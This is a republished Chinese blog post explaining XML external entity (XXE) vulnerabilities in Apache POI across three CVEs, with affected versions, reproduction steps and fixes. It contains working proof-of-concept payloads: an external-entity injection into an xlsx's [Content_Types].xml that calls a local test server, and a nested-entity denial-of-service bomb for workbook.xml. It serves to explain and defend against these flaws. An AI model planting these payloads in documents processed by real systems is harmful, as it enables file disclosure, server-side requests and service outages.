Apache POI XML外部實體(XML External Entity,XXE)攻擊


Apache POI XML外部實體(XML External Entity,XXE)攻擊詳解

img

jinsihou19關注

0.1362019.08.09 11:55:51字數 1,699閱讀 3,912

最近安全掃描掃出一些版本的 POI 存在 XEE 漏洞。總結一下XXE的相關知識和漏洞攻擊解析。

一、背景知識

想要知道 XXE 是什么,我們首先需要了解一下 XML 的相關知識。

1、XML基礎知識

XML用於標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
DTD的作用是定義 XML 文檔的合法構建模塊。DTD 可以在 XML 文檔內聲明,也可以外部引用。
DTD文檔有三種應用形式:

  1. 內部DTD文檔

    <!DOCTYPE 根元素[定義內容]>
    
  2. 外部DTD文檔

    <!DOCTYPE 根元素 SYSTEM "DTD文件路徑">
    
  3. 內外部DTD文檔結合

    <!DOCTYPE 根元素 SYSTEM "DTD文檔路徑"[定義內容]>
    

其中第二三種類型中的SYSTEM是一種標識符,可以理解為:根據DTD資源路徑,加載這個外部資源的內容,並賦值給前面的根元素,該標識符意味着該實體將從外部來源獲取內容。這就給了攻擊者一個攻擊的可能。

2、 XXE漏洞原理

XML外部實體(XML External Entity,XXE)攻擊是一種常見的Web安全漏洞,攻擊者可以通過XML的外部實體獲取服務器中本應被保護的數據。

XML解析器解析外部實體時支持多種協議:

libxml2 PHP Java .NET
file file file file
http http http http
ftp ftp ftp ftp
php https https
compress.zlib jar
data netdoc
glob mailto
phar gopher

如使用file協議可以讀取本地文件內容、使用http協議可以獲取Web資源等,因此攻擊者可構造惡意的外部實體,當解析器解析了包含“惡意”外部實體的XML類型文件時,便會導致被XXE攻擊。

另外,一般來說,服務器解析XML有兩種方式,一種是一次性將整個XML加載進內存中,進行解析;另一種是一部分一部分的、“流式”地加載、解析。如果我們遞歸地調用XML定義,一次性調用巨量的定義,那么服務器的內存就會被消耗完,造成了拒絕服務攻擊(Dos)。

3、Apache POI

Apache POI 是 Apache 軟件基金會的開源項目,POI 提供 API 接口給 Java 程序對 Microsoft office 格式文檔讀寫能力。

Microsoft Office從2007版本引入了新的開放的XML文件格式,新的XML文件格式基於壓縮的ZIP文件格式規范,由許多部分組成。我們可以將其解壓縮到特定的文件夾中來查看其包含的文件夾和文件,可以發現其中多數是描述工作簿數據、元數據、文檔信息的XML文件。所以不正確的讀取07格式的Microsoft office 格式文件也存在着 XXE 攻擊的可能性。

二、漏洞

1、CVE-2014-3529

Apache POI 3.10-FINAL及以前版本被發現允許遠程攻擊者通過注入XML外部實體訪問外部實體資源或者讀取任意文件。

1. 漏洞編號

CVE-2014-3529

2. 影響范圍

poi-ooxml-3.10-FINAL.jar及以下版本

3. 利用文件

[Content-Types].xml

4. 漏洞利用

示例漏洞利用,是檢測注入XML外部實體是否可以訪問外部實體。

  1. 新建 xxe.xlsx 文件進行解壓縮:

    unzip ../xxe.xlsx
    

    得到以下文件:

    .
    ├── [Content_Types].xml
    ├── [trash]
    │   └── 0000.dat
    ├── _rels
    ├── docProps
    │   ├── app.xml
    │   └── core.xml
    └── xl
        ├── _rels
        │   └── workbook.xml.rels
        ├── styles.xml
        ├── theme
        │   └── theme1.xml
        ├── workbook.xml
        └── worksheets
            └── sheet1.xml
    
  2. 使用文本編輯器打開[Content-Types].xml注入外部實體,在第二行插入實體:

    <!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://localhost:3000/ack"> ]>
    <x>&xxe;</x>
    

    上面的 http://localhost:3000/ack 為本地的測試服務器,如果漏洞觸發,本地服務器將接收到ack的訪問記錄,即復現漏洞。

  3. 將上述文件重新壓縮成 xlsx。

    zip -r xxe.xlsx *
    

    xxe.xlsx

  4. 測試代碼使用 maven 工程,引入 poi-ooxml-3.10,運行測試程序:

    public class XXETest {
        public static void main(String[] args) {
                new XSSFWorkbook(new FileInputStream(new File("path/to/xxe.xlsx")));
        }
    }
    

    運行結果雖然有報錯,但是本地服務器接收到了 ack 請求,漏洞利用成功。

5. 漏洞分析

poi-ooxml 包里 org.apache.poi.openxml4j.opc.internal.ContentTypeManager#parseContentTypesFile 中讀取 [Content-Types].xml 時沒有進行 XXE 防護。

6. 修復方案

升級 poi-ooxml.jar 到 3.11 或以上版本。

原理是通過讀取的時候使用新工具類的方法進行讀取org.apache.poi.util.DocumentHelper#readDocument(java.io.InputStream) 進行 XXE 防護。

2、CVE-2016-5000

這個漏洞主要是 POI 官方示例中的 XLSX2CSV 示例不正確讀取 xlsx 觸發的 xxe。這里不再復現。

修復方案

升級 poi-ooxml.jar 到 3.14 或以上版本。

3、CVE-2017-5644

1. 漏洞編號

CVE-2017-5644

2. 影響范圍

poi-ooxml-3.15.jar 及以下版本。

3. 利用文件

xl/workbook.xml

4. 漏洞利用

其他步驟同CVE-2014-3529中的方式,這次是在 xl/workbook.xml 中注入實體:

<!DOCTYPE x [     
    <!ENTITY e1 "">
    <!ENTITY e2 "&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;">
    <!ENTITY e3 "&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;">
    <!ENTITY e4 "&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;">
    <!ENTITY e5 "&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;">
    <!ENTITY e6 "&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;">
    <!ENTITY e7 "&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;">
    <!ENTITY e8 "&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;">
    <!ENTITY e9 "&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;">
    <!ENTITY e10 "&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;">
    <!ENTITY e11 "&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;">
]>
<x>&e11;</x>

<x>&e11;</x> 代碼引用ENTITY e11,而 e11 由16 個 e10 組成,遞歸調用,循環次數達到 16^10 的規模。循環大量的實體引用,會消耗大量的CPU資源,長時間顯示占用近100%。

5. 漏洞分析

POIXMLTypeLoader 中,解析xml的時候直接讀取xml,沒有對實體的數量進行限制。3.11 對 POIXMLTypeLoader 中的實體大小進行了限制 ,最大為4096,但是當實體為空的時候(如上例),還是可以構造空實體,形成大量循環,占用 cpu 資源,造成拒絕服務攻擊。

6.修復方案

升級 poi-ooxml.jar3.14 或以上版本。

自行修復 POIXMLTypeLoader 中的相關代碼段:

public static XmlObject parse(InputStream jiois, SchemaType type, XmlOptions options) throws XmlException, IOException {
    try {
        // 使用 DocumentHelper.readDocument 解析
        Document doc = DocumentHelper.readDocument(jiois);
        return XmlBeans.getContextTypeLoader().parse(doc.getDocumentElement(), type, getXmlOptions(options));
    } catch (SAXException e) {
        throw new IOException("Unable to parse xml bean", e);
    }
}

public static XmlObject parse(Reader jior, SchemaType type, XmlOptions options) throws XmlException, IOException {
    try {
        // 使用 DocumentHelper.readDocument 解析
        Document doc = DocumentHelper.readDocument(new InputSource(jior));
        return XmlBeans.getContextTypeLoader().parse(doc.getDocumentElement(), type, getXmlOptions(options));
    } catch (SAXException e) {
        throw new XmlException("Unable to parse xml bean", e);
    }
}

三、參考文獻

  1. CVE-2014-3529
  2. IBM X-Force Exchange CVE-2014-3529
  3. CVE-2016-5000
  4. IBM X-Force Exchange CVE-2016-5000
  5. CVE-2017-5644
  6. IBM X-Force Exchange CVE-2017-5644
  7. JAVA常見的XXE漏洞寫法和防御
  8. 十分鍾帶你了解XXE


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM